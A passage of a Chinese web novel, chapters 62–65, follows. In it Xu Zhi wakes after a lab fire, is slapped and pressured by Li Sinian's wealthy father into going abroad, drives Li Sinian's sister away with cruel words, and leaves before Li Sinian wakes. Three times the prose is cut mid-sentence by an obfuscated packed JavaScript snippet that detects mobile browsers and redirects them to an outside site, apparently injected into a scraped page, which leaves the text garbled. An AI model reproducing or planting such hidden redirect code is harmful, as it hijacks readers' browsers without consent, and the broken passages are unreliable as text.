许之心中咯噔一下,再眨眼,面前的景象变换了,不再是花里胡哨的汽水箱,而是一排满是脏污的垃圾桶。 他忍不住回头去看,对上李斯年黑白分明的一双眼。 四周忽然也变得很安静,许之张了张嘴,没有发出声音,他望着这双眼睛,不知怎么的就很想流泪。 李斯年伸手抚上他的脸颊,带着温度的指腹从他眼角擦过,温温和和的笑了起来:“怎么哭了,在难过什么?” 许之有许多想要说的,说自己给许茜准备的画被丢了、说自己真的好害怕、说自己跑了很久才终于摆脱了那个女人…… 明明都是琐碎小事,不足一提,但他就是没由来的觉得,李斯年一定会安静的听他说。 不会不耐烦。 许之刚要开口,李斯年却突然收回了放在自己脸边的手。 温度随着他的手指远去,许之心中一慌,下意识就要去拉他的手,却扑了个空。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553166|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李斯年注视着他,脸上笑意依旧,但起身后退的脚步却坚决而残忍。 “李斯年?”许之叫他,发现自己只能发出几个模糊不清的音节 想要追上去,却迈不开步子。 “李斯年!” 许之奋力挥动着手,但李斯年像是看不懂他的意思,就这样一直倒退。 身影越来越远,直到许之几乎难以分辨他的模样。 “李斯年,别走!求你了……” “别丢下我一个人……” 李斯年还是背过身去。 那一瞬间,滚滚火浪从天而降,像是倾落的瀑布,瞬间就淹没了李斯年。 许之感觉自己的心脏被骤然攥紧,剧痛从胸腔蔓延到四肢,整个人都要被撕碎一般。 火浪席卷天地…… - “啊!”许之猛地睁开眼,一片白色引入眼帘。 门适时被推开,有人察觉到动静,进而快步进入,扶着床边看他:“你终于醒了!” 许之缓慢移动的眼睛,感觉眼球无比干涩,花了好一会,才终于从一片模糊中瞧清了面前的人。 竟是李倾诺。 “你感觉怎么样?”她关切的问。 许之张了张嘴,一开始根本发不出声音,反而咳了几声,他心下着急,喉头用力,听到自己问出沙哑的一声:“李斯年呢?” “什么?”李倾诺没听清。 许之垂眼去看余光里的一片白雾,五感渐渐恢复,察觉到自己脸上绑着东西,于是抬手就扯掉了呼吸罩。 “李、李斯年。”他费劲力气又说了三个字,只觉得胸腔里氧气又要空了。 “你才刚醒,别激动……”李倾诺有些欲言又止 许之这才注意到李倾诺双眼是肿的,明显是哭过。 他感觉心脏像是瞬间被扯破了一个洞,风穿堂吹过,空不见底。 许之挣扎着坐起来,周身连接的仪器因为撕扯脱离而发出警示音,引来了护士,要将人按回床上。 但他猛地将这些人手都甩开,几乎是扑到李倾诺面前,红着双眼挤出嘶哑的声音:“李斯年他怎么了!他是不是……” “死”这个字卡在喉咙里,怎样都开不了口。 李倾诺被他骇人的模样吓到,赶紧摇头:“没有,哥哥还活着。” 她抽了抽鼻子,继续说:“可是他一直深度昏迷,这里的医生也拿不准原因,只说可能是吸入浓烟过多、一氧化碳中毒,爸爸正要请国外的医生会诊。” 许之的一颗心忽上忽下,艰难道:“距离事发多久了?” 李倾诺带着叹息答:“今天是第五天。” 许之掀开被褥,想要下床:“带我去看看他。” 双脚落地,却是陡然一软,手滑了几下,才勉强扶住床边,屋里开了暖气,他只穿着单层病号服,隐隐透出的一对肩胛骨,像是蝴蝶翅膀。 连李倾诺看着都觉得心疼,太瘦了。 李倾诺连同另一个护士一起把他搀回床上:“你、你还是先休息吧,这几天暂时不要去比较好。” “为什么?” 许之刚问完,病房门被粗暴的推开,门“砰”的一声摔在墙上,屋内人皆是一惊。 李宇大步跨进,直向着许之走来,他身形高壮、一脸阴翳,许之被压在他宛如猛兽的阴影之下,感觉到比之前在出租屋更加剧烈的压迫感。 这才是李宇真正的样子,双城首富的位置,不是普通人能轻易稳坐这么多年的。 一旁的李倾诺面带畏惧,她不敢阻拦李宇,却又怕他要对许之怎么样,于是只好站在原地,算是稍微挡在二人之间。 但处于李宇高压目光下的许之却并没有感到恐惧,或者说这世上恐怕没什么能让他恐惧的事情了。 除了失去李斯年。 于是他主动开口问:“李叔叔,我想去看李斯年——” 啪! 李宇跨过李倾诺抬手就是一耳光,重重地扇在许之脸上! 63.软禁 许之被这一耳光打得几乎站不住,软着腿倒退半步,狼狈的摔倒,他身上还有牵引着的探头,连带着将周围的几台仪器也噼里啪啦的扯翻在地。 “爸!”李倾诺惊呼,想要上前。 李宇粗暴的把她往身后一拦,命令道:“把她给我带出去!” 这栋医院是李宇公司出资建立的,在李斯年出事入院后,整层住院部的人更是全部换成了知根知底的医护人员。 两边的护士听了这话,反应迅速,立刻左右各一边将李倾诺架了起来,往门外走。 “爸!你不要动许之,他才刚醒,哥、哥哥以后醒来要是知道了……” 李倾诺的挣扎毫无效果,她后半段话也因关门声戛然而止。 病房里安静的吓人。 许之此刻身体状况并不太好,李宇耳光打得他眼前一黑,急促的呼吸牵引着肺部疼痛,他花了将近两分钟才勉强恢复视觉,手撑着地起来,颧骨处红肿一片,耳鸣混杂在起伏的机器的滴答声中。 “求求你,让我去看看他。”许之舌尖抵着口腔内的血腥味,再次恳求。 “你有什么资格看他?事情闹到今天这一步,全都是因为你!” 李宇声音极寒,“李斯年为了你闹得众叛亲离,好好地家不回,非要出去打工、看人脸色,零下的天,住在连暖气都没有、巴掌大的破房子里!耳朵上还生了冻疮!他从小到大,什么时候吃过这样的苦?!” 许之眼神一颤,沉默着,全盘接受李宇的怒火。 “老师同学都晓得了他是同性恋,多少人在背后指指点点你知道吗!你是谁?你是许茜的儿子,许茜现在和我在一起,你倒是好,没脸没皮,叫这乱/伦的罪名都让我儿子背?纸包不住火,如今那些难听的话网上、街里街坊传得到处都是,都到我耳朵里了!” 李宇越说越怒,只恨刚才那一耳光打的不够重,他原地踱了几步,忍住了再次动手的冲动。 “我跟你说,李斯年从前小学初中都是喜欢过女孩的,我都知道。别的不说,就梁芷,那是她妈妈生前亲自定下的娃娃亲!你不过是中途冒出来的乐子,他一时兴头上而已!你还真把自己当个东西了?!” 没有,许之想。 我知道他不喜欢我。 心下一片晦暗,漫上喉头,是无穷无尽的苦涩:“是我错了……我、我就想看他一眼……” 李宇原以为许之态度会更强硬点,毕竟之前在出租屋和打手们动手时,他就看出许之并不是表面看上去那么顺从柔弱。 没想到他倒是把一切认得干脆。 这是明知李斯年背负了什么,却还是理所当然的享受了? 李宇轻蔑地哼了一声:“有什么可看的?李倾诺估计也和你说了,李斯年除了烧伤之外,最严重的就是昏迷不醒,我已经安排国外的医生会诊了,如果有需要,也会出国治疗。” “那、那出国医治,醒来的概率有多大?去多久?”许之问。 李宇摆手:“这些事情都和你没关系了。” 许之眼睛缓慢的眨了眨,像是没听懂:“什么意思?” 李宇被他这不自知的目光惹得,心中怒火又蹭得一下冒了出来,他上前半步,揪住许之的领口,狠厉道:“意思是你今天就给我滚!滚出江城,以后再也别让我看到你!” “不!”许之脱口而出,“我、我要等李斯年醒过来!” 哪怕是要走,他也得当面和李斯年告别。 “这不是你能说了算的!”李宇冷冷道,“你知不知道,李斯年为什么会出这次意外?” 许之心下生出一个不敢深思的答案,惊惧的看向李宇。 “梁芷和我说,他是为了做一个实验,给、你、看。”李宇一字一顿,皆是杀人诛心的残忍字句,“他会像现在这样躺在床上,浑身插满管子,饮食用鼻饲、大小便都无法自理,连做人基本的尊严都没有了,都是拜你所赐。” “这就是你们所谓的爱情,宁可毁了他下半辈子?” - 李宇虽然话说得决绝,但许之的状态太差了,远远达不到出院标准,所以他到底还是没有立刻赶人走。 于是许之得以在病房又呆了一段时间,只是期间被严密监控着,无法离开病房半步。 但他其实也没有太多精力去计较这些,在最初醒来的那一阵之后,或许是耗费太多心里,接下来的时间是无法自控的昏沉居多。 在半梦半醒之间,多次仿佛听到护士医生进进出出、却又无力睁眼。 他也做了很多混杂的梦,可是再也没能梦到李斯年。 许之的手机不知道丢哪里去了,他靠着身边医疗仪器上的时间数着日子。 在第八天时,他终于可以不靠他人搀扶,从床上起来,在屋里走上几步。 这些天都没再出现的李倾诺就是在那天晚上来的。 半夜十点多的医院熄了主灯,安静的走廊突然传来快步奔跑的声音,许之本就在睁着眼看天花板发呆,察觉到外面的骚动,就坐起了身。 “快、快去停车场!”李倾诺的声音从门外传来,明显是对这些天在3楼守许之和李斯年病房的那几个保镖说的。 “出什么事,小姐?”其中一个保镖问。 “我爸爸的车在停车场门口撞了!”李倾诺的声音听起来很焦急,“驾驶位的车门撞瘪了,我打不开!” 保镖沉默片刻,似是在判断李倾诺的话是真是假,李倾诺一跺脚:“我能拿这种事骗人?!不信你们给我爸打电话!” 其中一个保镖拨通了电话,只听扬声器传来:您拨打的电话暂时无人接听…… 李宇的手机是24小时开机的,从不会有联系不上的时候,保镖们有些迟疑。 李倾诺到底是李家人,虽然年纪小,但那股气场却拿捏得初见雏形:“如果我爸出了什么意外,你们承担得起吗!” “留一个人守在这里,其他人跟我走!”为首的保镖说着,带着其余几人快步往应急通道的楼梯奔去。 李倾诺余光撇了一眼留守的人,忽然“哎呀”一声,就腿软着晕倒在地,那保镖连忙过去扶人:“小姐怎么了?受伤了吗?医生——” 李倾诺原本闭上的眼睛猛然睁开,哪有半分昏迷样子,她抬手就勒上了那保镖的脖子,将他喊医生的声音卡了回去,随即压着声音往病房内喊:“许之!快出来!” 许之早就躲在门后观察了,听到这里,全然明白了李倾诺的打算,他抬手就打开了门。 以李倾诺的力气和招数,想要完全钳制住保镖是不可能的,只是对方顾忌她的身份、又毕竟是女生,不好下手反制。 于是李倾诺仗着这一点,几乎是手脚并用,整个人像八爪鱼一样扒在了保镖身上,冲许之说:“我哥在303,快去!” 许之来不及说其他,只是沉声道了句“谢谢”,拔腿就往走廊尽头跑。 深夜的医院走廊,黑漆漆的望不到头,只有踢脚线嵌着的灯带像是引路灯,寒冷的风擦着许之耳边过,他终于来到303门前,手搭在门把上停顿半秒,咔嚓拧开了门。 暖意扑面而来,混杂着酒精的味道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561331|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这间病房比许之的要大一些,床边摆放的诸多医疗设备让他感到压抑和刺眼。 许之走近,看到李斯年就这么安安静静的躺在白色病床上,眉眼平顺安然,高挺鼻梁下是苍白的嘴唇,除此之外,仿佛只是陷入一个普通的睡眠。 他额前的刘海大概是因为被燎烧了,所以修剪得更短,左侧额头、下颚线连着脖肩的区域都被纱布包着,应该是烧伤了,却看不出到底有多严重。 许之心如刀割,仿佛那些火不是烧在李斯年脸上、而是他的心里,手在半空中顿了顿,终于忍不住往上,指尖轻贴在了李斯年脸侧。 温暖柔软的触感,和梦里一模一样。 许之心中又幸福又痛楚,他就这么看着李斯年,他的呼吸平稳均匀,雾气喷在呼吸罩上,然后很快消散。 看得有些入迷。 “为什么偏偏醒来的人是我。”他喃喃道。 那瞬间,他似乎看到李斯年的睫毛微微颤抖了一下,像是要睁开眼,但眨眼之间,一切又恢复原样。 只是错觉。 他抚着李斯年脸侧的手微微用力,近乎于捧着的姿势,这是许之往常连想都不敢想的动作。 他轻声恳求:“李斯年,你要是能听到我的声音,就赶快醒来好不好?要我怎么样都可以,只要你能醒过来……” “你要是真对他这么情根深种,就该知道怎么做才是对他最好的。”一个声音响起。 许之背部一僵,收回了手,直起身来,看向站在门口的李宇。 他今天穿着一身应酬的西服,脸色是少见的疲惫,揉着太阳选坐到沙发上:“你倒是有本事,把我家两个孩子都哄得团团转。” 他原本晚上就是在医院附近谈事的,结果李倾诺抓到空挡,使了个小心眼,李宇就骗走了手机,还被关了机。 待他发现之后,就直接往医院来了。 李宇抬手松了松领带,倒是不再像前几天那样怒气外露。 他往旁边的沙发上一坐,尽是上位者带着从容的压迫感:“你非要等他醒,有什么意义?叫他再为了你上刀山下火海,吃尽苦头?” 屋内暖气开得足,许之嗓子的沙哑感渐重:“我只是想确认他好起来了。” “这好说,你走得远远的,之后他如果醒了,我会派人给你带个消息。” 李宇调整了一下姿势,目光沉了些,“除非你所谓的‘只为他好’仅仅是嘴上说说,其实还是想等他醒后,拖着他继续跟你走歪路?” 许之一时沉默。 其实李宇说的没错。 他内心深处最奢求的东西,是注定不可能的,于是退而求其次,想着只是做朋友也没关系。 只要能看着李斯年好,哪怕是旁观他日后娶妻生子,去过世俗意义上的幸福美满生活。 但如果自己的存在只会给李斯年带来麻烦,那他何必留在这里呢? 许之忽然觉得许茜是对的,他恐怕真的会给身边的人带来霉运,哪怕本意并非如此,事实就是李斯年接二连三的困境全部与他有关。 清脆的敲门声响起,医生与护士站在门外,毕恭毕敬道:“李先生,到了病患夜间的清理和监测的时间。” 李宇没说话,而是先抬头看许之,许之退让到一边,见医生开始登记仪器数据、测量基本体征。 然后护士端来一盆热水,戴上手套撕开一次性医用尿垫,去掀李斯年的被褥。 许之匆匆撇开眼,心中苦涩难言。 李宇看着他这表情,意味不明的哼了一声:“你还是先回病房吧。” 64.决定 接下来的几天,3楼的保镖数量减少了,管控也不再那么严格,许之可以自由出入,甚至能随时去看李斯年。 然而每天许之心中的期盼都随着日出升起,在整个白天被蹉跎殆尽,然后随着日落散去——李斯年一直没有醒来。 李宇每天傍晚会来医院看一次,哪怕和许之撞上了也不再说什么话,拿他当透明人。 原本应该尽快安排的出国也被搁置不提。 许之心里很清楚,李宇这是在等他表态。 他终于理解李斯年之前对于李宇的评价,这就是个残酷冷血的商人,一切都能拿到天平上权衡,哪怕是儿子的健康和未来也一样。 李宇宁可推迟李斯年的医治,也要先用压力逼走许之,因为他要的不仅仅是醒来的儿子、更得是能处在掌控之内的儿子。 这场无声的博弈里,注定是更爱的人先放手。 恰逢周末,李宇下午早些就来医院了,路过许之病房前时,门从里面被打开。 “李叔叔,有空聊聊吗?”许之说。 李宇也不惊讶,像是早就料到有这么一天,扬了扬下巴:“屋里说。” 许之关上门,面向李宇,声音很平静:“要我离开可以,但我有两个条件。” 李宇淡淡一笑,饶有兴趣道:“哦?说说看。” “首先,你一定要治好李斯年,让他醒过来。” “那是当然,他是我亲生儿子。” “其次……”许之顿了顿,加重了语气,“日后他无论是参加高考、还是出国上学,你都不能插手他的就读专业,如果他想读化学,就让他读。” 李宇略一挑眉,对此倒是有些吃惊,他原以为许之会提一些和自己、许茜有关的条件,却没想到全都是关于李斯年的。 “我就这两个条件,你答应,我立刻就走。”许之声音平稳,“否则就算我现在离开,以后也可以回来找他,以李斯年的性格,如果知道当初是你逼我走的,一定不会与你善罢甘休。” 李宇听到这里,倒是有点欣赏许之了。 小小年纪就能有这样的魄力和他谈条件,条理清晰、不卑不亢,将自己与对方的筹码和弱点都拿捏准确。 若是能好好培养,假以时日,前途不可限量。 可惜了。 “好,我答应。”李宇说着,拿出手机:“我会替你联系申请国外的学校,所有费用不必操心,我不会亏待你。” 许之一愣:“可是我想自己高考,我有想去的大学。” “由不得你选,如果在国内,李斯年总能找到你。”李宇深深看了许之一眼,“我希望我们彼此都能遵守诺言。” 许之想说,其实李斯年应该最多就难过一段时间,也不会真花多大心思找他的。 但说了估计李宇也不信,还会以为他在打别的算盘,于是闭上了嘴。 出国也挺好的,以他家的条件,高中毕业就能自费出国是想都不敢想的事情。 怎么不算是一种幸运呢? 用李斯年换的。 许之近乎麻木的想。 “你收拾收拾,明天就出院。”李宇说着,拉开门,“我会安排好车和飞机,尽快离开。” 他说完,刚要走出去,忽然停顿。 李倾诺正站在门边的走道上,她明显是听到了李宇最后那句话。 “你要走?”李倾诺问许之,“你不等我哥醒了?” 李宇想把人直接拉走:“这件事和你没关系……” “我来解释吧。”许之伸手一拦,“我也有话想和李倾诺说。” 李宇目光深沉的看了他一眼,像是在警告许之慎言。 许之了然,微一点头,然后就带李倾诺进了屋内。 今天的天气很好,阳光洒满大地,住院楼外的草地里有许多病人在散步,说话声模模糊糊的传来。 听不清内容,只觉得难得岁月静好。 许之站定,对李倾诺说:“李斯年醒后,不管李宇对他怎么说我,你都顺着李宇的话说,好吗?” 李倾诺不解:“为什么?” “不然以李斯年的性格,醒来怕是又要来找我,太麻烦。”许之淡淡道。 李倾诺觉得自己今天是不是没带脑子出门,怎么像是听不懂许之在说什么似的:“麻烦?什么意思?” “就是字面意思。”许之说着,自顾自倒了一杯水,“他太热心了,和这样的人相处是很累的,他总说要帮我,我接受又觉得麻烦、不接受他又生气。” 李倾诺被这话哽了哽:“可是你们……不是朋友吗?” 许之手拿着杯子,停顿在半空,像是觉得她这话好笑似的,看向她:“李斯年这么和你说的啊?” 又想了想,摇头:“只是同学外加室友而已吧,毕竟我妈和你爸这个关系,这么尴尬,我们怎么可能做朋友,他三岁小孩么?” 李倾诺听了这话有点生气,这人怎么变脸变得这么快,刚醒那天还一副对李斯年很关心的样子,如今被李宇稍稍一施压,就露出本来面目了么? 她追到许之面前:“我哥可是真心实意对你的,他为你做了那么多事,你不领情也就罢了,怎么还这么说他!” “我求他给我做了吗?”许之嗤笑一声,“你也知道,这次之所以实验室起火,就是因为他非要做实验给我看,但我事先根本不知情!如今闹出这么大乱子,你爸来责问我,倒像全都是我的错似的!类似的事情真的太多了,正好你爸愿意给我一大笔钱,还安排我出国读名校,我求之不得,也能摆脱这么个麻烦了。” “你、你……”李倾诺发现自己竟然说不过他,这人明明平时看起来挺沉默寡言,怎么说起尖酸刻薄的话,这样一套一套的。 她气得原地跺脚:“你真的太过分了!” 亏她哥还喜欢他,真是瞎了眼! “你放心,我哥哥才不是那么贱的人,他醒来之后知道你竟然心里是这么想的,肯定不会再来纠缠你!” 李倾诺愤愤地说完,猛地转身就走,将病房的门摔得哐当作响。 余音回荡在房间内,许之收回目光,缓缓将手中剩下的水饮尽,杯子搁在床头,脱了鞋,钻进了病床被褥里。 他先是呆呆地看着天花板半晌,双眼空洞洞,也不知道在想些什么,随后又翻了个身,将整张脸都埋进了被子里。 斜阳透过薄纱窗帘,柔和的撒在床上。 一片温暖的淡金色。 没有人看见那被褥非常克制的、不易察觉的颤抖。 - 次日正好是阴天,乌云层层堆积在天边,仿佛触手可及。 许茜将许之留在碧水名城仅剩的衣物用袋子装了,送到医院来。 这也是出事之后,许之第一次见到许茜。 他没有问她为什么直到今天才来,也不关心事情发生后她和李宇之间的关系有什么变化,只是接了袋子,走出病房。 阴天光线不好,室内很昏暗,尽管是大白天,走廊还是亮着惨白的大灯。 许之侧头看去,李倾诺正站在李斯年病房门前瞧他,她半边身子隐在门框内,表情仍然带着愤恨。 只是一瞬,许之就转过身,毫无留恋地朝着反方向电梯走去。 直到电梯叮得一声打开门,他抬脚进入,再也没有回头看一眼。 电梯缓慢下降,许茜轻声开了口,语气还算缓和,带着些许尘埃落定的无奈:“国外的学校你李叔叔已经托人陆续安排了,房子也租好了,你先去安心过了 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“等等。”许之叫住她。 梁芷不得已停住脚步。 “那天……李斯年是想做哪个实验给我看?”许之声音很轻,透过淅淅沥沥的雨传了过来。 李宇前几天对他说完后,许之就知道梁芷没有撒谎。 李斯年大概真的是在为他做这个实验,否则不会神秘兮兮的从中午就不见人影,还叫他务必要一个人去实验室。 梁芷只是垂眼看着手里的伞,雨珠顺着伞面往下滑着,然后一颗接着一颗砸碎在地上:“好像是高三下学期的一个必考实验,具体没提,只说庆高的进度比育德慢,所以想示范给你看看。” “这样……”许之的声音听不出什么情绪。 梁芷以为他还会再问些什么,等了会,等到的却是一声干净果断的“那再见”。 她抬起头,看到许之已经走远。 他今天穿着件素净的灰色羽绒外套,这样厚的衣服也掩盖不出身形单薄,他长腿一跨,就这样毫不迟疑的走进雨里,然后弯身进了车。 昨晚梁芷和孙家娟来医院看李斯年时,已经听李宇提起过,说许之答应离开了。 他会出国,在国外读大学,不会再见李斯年。 “许之这孩子出身的确是苦,他当初和李斯年走得近,恐怕也是看上了李斯年手里的钱,李斯年这愣头青,从小被我和郑秀惯坏了,也分不清别人的虚情假意,还当个宝。但我这个做父亲的,总不能眼睁睁看着亲生儿子被这样的人带到阴沟里去不是?” 李宇苦恼地揉着眉头,站在医院的走廊尽头,对孙家娟、梁芷如是说,“我已经和许之说好了,要钱,我给就是了,多少都行,但就一条,拿了钱,就走得远远的,以后不要再来打扰李斯年的生活。” “许茜吗?哎……算了,可能我俩的缘分也就到此为止了。我算看开了,人到中年,哪有什么爱不爱情,都是搭伙过日子的算计罢了,说到底也是她没管好自己的儿子!” “李斯年醒来后肯定要跟我闹,到时候也劳烦家娟啊、小芷你们帮我劝劝,毕竟许之一开始接近李斯年的动机就不纯,还好是我们做大人的及时发现,否则这次是火灾、下次还不知道会闹出什么更大的乱子呢……” 车门“砰”的一声关上,打断了梁芷的思绪。 漆黑锃亮的轿车载着许之驶入雨幕之中,宛如孤独的扁舟被卷进了大海,很快就变成一个小黑点,随后消失不见。 原来上一秒还擦肩而过的人,下一秒真的就能仿佛相隔天堑。 梁芷心中五味杂陈,攥着雨伞的手指关节微微泛白,她强迫自己收回视线,往医院里走去。 65.醒来 元宵节过后,过年的气息在一夜之间就消失了,但天气却变得更冷,雨天变成落雪籽、再变成大雪,持续了将近一周。 但这大雪偏偏下得断断续续,城市里的人们每天醒来,看不到银装素裹的美景,却要忍受混杂着冰渣泥泞湿滑的地面。 李斯年出国治疗的专机安排在这一日午后。 李倾诺上完上午的课,午饭都顾不上吃,就急着赶往医院,因为步履太匆匆,差点在医院门口处摔了个四脚朝天。 她一边拍着身上湿湿的雪水,一边推开303病房的门。 医生和护士围着李斯年,做最后的检查和准备,李宇坐在一旁的沙发上,手掩着话筒,似乎在打一个工作上的电话。 “哥哥怎么样?”李倾诺问医生。 “体征仍然很稳定,上飞机问题不大。只是这种情况下,应该早就要醒了,奇怪。”其中一个医生说着,摇摇头,“看下国外的检查会有什么不一样的结果吧。” 几人合力将李斯年从病床往移动担架上转移,刚回把人挪过去,就听到有个护士“咦”了一声,低下身看了看,惊喜道:“主任,病人好像醒了!” “什么!”李倾诺赶紧挤进去看。 只见医生从白大褂胸口的口袋里掏出医用手电筒,掀开李斯年已经半睁的眼皮检查了一下,试探地问:“李斯年?你听得到我讲话吗?” 李斯年双眼目光弥散,极为缓慢的眨了眨眼,在呼唤之中头微微偏转至声音来源的方向,大约几十秒后,眼神渐渐有了聚焦。 “哥!”李倾诺红着眼睛,忍不住扑到李斯年身上,和他说话:“你看看我?现在感觉怎么样?” 李斯年显然是认出了李倾诺,他脖颈还包扎固定着难以大幅度移动,只能努力转动眼睛,看了看四周,嘴唇轻轻蠕动着,像是要说话。 医生取下了他的呼吸罩。 “我……”李斯年只开口说了一个字,就猛然顿住了。 李倾诺脸色一白,所有人包括李斯年自己都听出了他声音的古怪。 那不仅仅是呛烟或中毒之后的普通沙哑,而是更加深沉、嘶哑的,仿佛声带在极其粗糙东西上摩擦。 让人听着就揪起了心。 “大概是声带灼伤。”医生说:“你还是先不要开口说话,做个全面检查,这个情况以后可以进行康复训练,是能一定程度上恢复的。” 李倾诺眼泪已经忍不住在掉了,医生这话说得委婉,但潜台词是:完全恢复几乎不可能。 李斯年却像是不太在乎这件事,他眉头拧着,仍然动了动嘴唇:“许、许……” 一个词说得无比艰难,仿佛需要花费巨大的力气,李斯年额间都冒出了虚汗,他执拗的攥着李倾诺的衣袖,终于说完了:“许之……人呢?” 李倾诺泪珠子掉得更凶,她现在是恨死了许之,为哥哥的喜欢感到不值:“你能不能别管他了!” 李斯年眉头皱的更紧,急道:“什么、意思?” 李倾诺有一肚子话想说,却顾念着李斯年才刚转醒,怕他乍一听关于许之的消息会太过激动。 于是按耐住情绪,模糊道:“别担心,人家比你早醒几天,好得很呢。” 李斯年听到这里,才终于呼出一口气,手松了劲,垂回床上。 弯起的眼角牵动了额头伤口,他疼得轻啧一声,但笑意却还是挂在脸上。 李倾诺心里越发难受,转开了话题:“医生,先帮我哥哥做完检查吧。” 她退后几步,等在墙边,看到李宇已经将手机倒扣回了桌上,他自始至终都坐在沙发上,既没有站起来,也没有走近。 李倾诺从前一直觉得李宇的形象是一棵大树,无论狂风骤雨,他都屹立不倒,是永远能给人安全感的父亲。 但这瞬间,她却突然觉得这棵大树有些过于稳了。 稳到哪怕天崩地裂、生灵涂炭,他还是一切如初、枝叶不乱。 仿佛什么都无法真正动摇到他的根茎。 检查繁复而细致,等到全部做完,天已经擦黑了,好在结果都还算不错。 李斯年原本还想撑着精神去看看许之,但他毕竟昏迷数日乍醒,身体仍然很虚弱,被轮椅送回病房后,打上点滴,便又昏睡过去。 这一睡,就又是二十多个小时,直到次日傍晚。 李倾诺带来了赵婶做的菜,都是李斯年爱吃的。 菜肉香味弥漫屋内,让原本只有酒精味的病房也多了些许生气。 李斯年却不急动筷:“许之呢?叫他一起来吃吧。” 李倾诺眼神躲闪:“他吃过了,你先吃。” “才五点多,他吃这么早?”李斯年看了眼时间。 李倾诺含糊的应了。 李斯年觉得有些不对劲,他推开床上桌,先开被褥就要下床:“我去看看他,许之在几号病房?” 他刚穿上拖鞋,就见李宇推门而入。 “不用去了。”李宇将门一合,“许之已经出院了。” 李斯年没反应过来:“他好得这么快?” 说完又有点奇怪,自己醒来这么久了,若许之知道,怎么可能不来看他? 李倾诺在一旁拼命向李宇使眼色,但李宇视而不见,直截了当的开了口:“他已经出国了。” 李斯年眨了眨眼,随后就急了,他快步走到李宇面前,声音几乎破掉:“你把他逼走了?!” “我的确有劝他离开,如果不是他,你也不会和家里闹成这样,还搞出火灾来。但他毕竟是一个活生生的人,如今还是法治社会,你也别把我想得太手眼通天、恶贯满盈了。”李宇慢悠悠地说,“是他自愿离开的。” “骗人!”李斯年愤怒地抓着李宇的手臂,却感到自己的肌肉因为初醒的乏力而阵阵颤抖,“要不是他冒着生命危险进实验楼救我,我早就死了!我还没醒,他怎么可能说走就走?你到底拿什么威胁他了!” 李宇嘲讽的笑:“李斯年,你别太天真了,如果你不是我的儿子,许之怎么会拿命救你?他从一开始接近你就是别有所图!如今只不过是我满足了他的条件,作为交换,他也没必要再纠缠你了。” “你说他接近我是为了钱?”李斯年觉得异常荒唐,忍不住骂了句脏话,“你他妈的放屁!许之根本就不是这种人,你什么都不知道!” 说完,就要往外冲。 李宇抢先一步按住了门,呵斥道:“不要闹了!你也不是不知道那小子是什么性格,如果他真的不愿意,我难道还能硬把他绑走?你清醒一点,被人骗了还替人数钱!这些事你妹妹、孙姨还有梁芷都是看到了的,不信你问她们!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581162|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李斯年听到这里,猛地回头看向李倾诺:“你说!” 李倾诺浑身一颤,对上李斯年红了的眼睛,他就像是只暴怒的狮子,随时要吃人似的。 这是她第二次见到哥哥这个模样。 第一次是在郑秀安息的太平间内,李宇足足迟到了两个小时才赶来。 “哥……”李倾诺一开口,就忍不住哭得更厉害,她抽抽泣泣,甚至难以说出一句完整的话来:“许之是、是自己要走的……他说……说觉得你麻烦,还说你们根本就、就不是朋友……” “不可能。”李斯年咬着牙,一字一顿,“他绝不会这么说的,他也不会就这么出国,你们都在骗我!” 说完,他抓着李宇的手,用力往后一掰,那是他学擒拿时学到的招数。 李宇没想到他真会下这么狠的手,指关节剧痛,手从门上松开,李斯年就迅速掀开房门,狂奔而出。 “哥!”李倾诺追了出去,堪堪看到李斯年身影消失在楼梯口,他跑得很快,简直不像是昏迷了十几天的人。 她一直沿着楼梯追到医院门口,眼看着李斯年上了辆出租车,消失在医院大门。 李倾诺正六神无主,电梯门打开了,李宇手插着兜,不紧不慢的走出来。 “爸,哥哥他打车走了,怎么办……” 李宇淡定地说:“让他去吧。” 李倾诺:“不行!他才刚醒啊!” “总得有个接受的过程。”李宇眼神又深又远,看不出喜怒,“放心,在江城,人丢不了的。” - 李斯年坐在出租车上,浑身冰凉,唯独胸腔却烧得滚烫。 他无法自控的急促呼吸,每一口凉气都像是寒霜冰刃、又似烈焰鬼手,扒着他、割着他,要将他的心肺全都搅得稀巴烂。 车行半途,李斯年开口:“师、师傅……” 他的声音过于骇人,把司机吓了一跳,他的目光从倒视镜中反射而来,充满警惕和戒备。 “可以……赊账吗?我给你留个电话。”他才发现自己身无分文,连手机也没带。 车吱呀一声骤停,在泥泞的雪水里留下难看的印记,不过多时,门打开,李斯年沉默着下了车。 司机扬长而去,骂骂咧咧说着“真他妈倒霉,遇到个疯子”,不过声音很快就被吹散在寒风中。 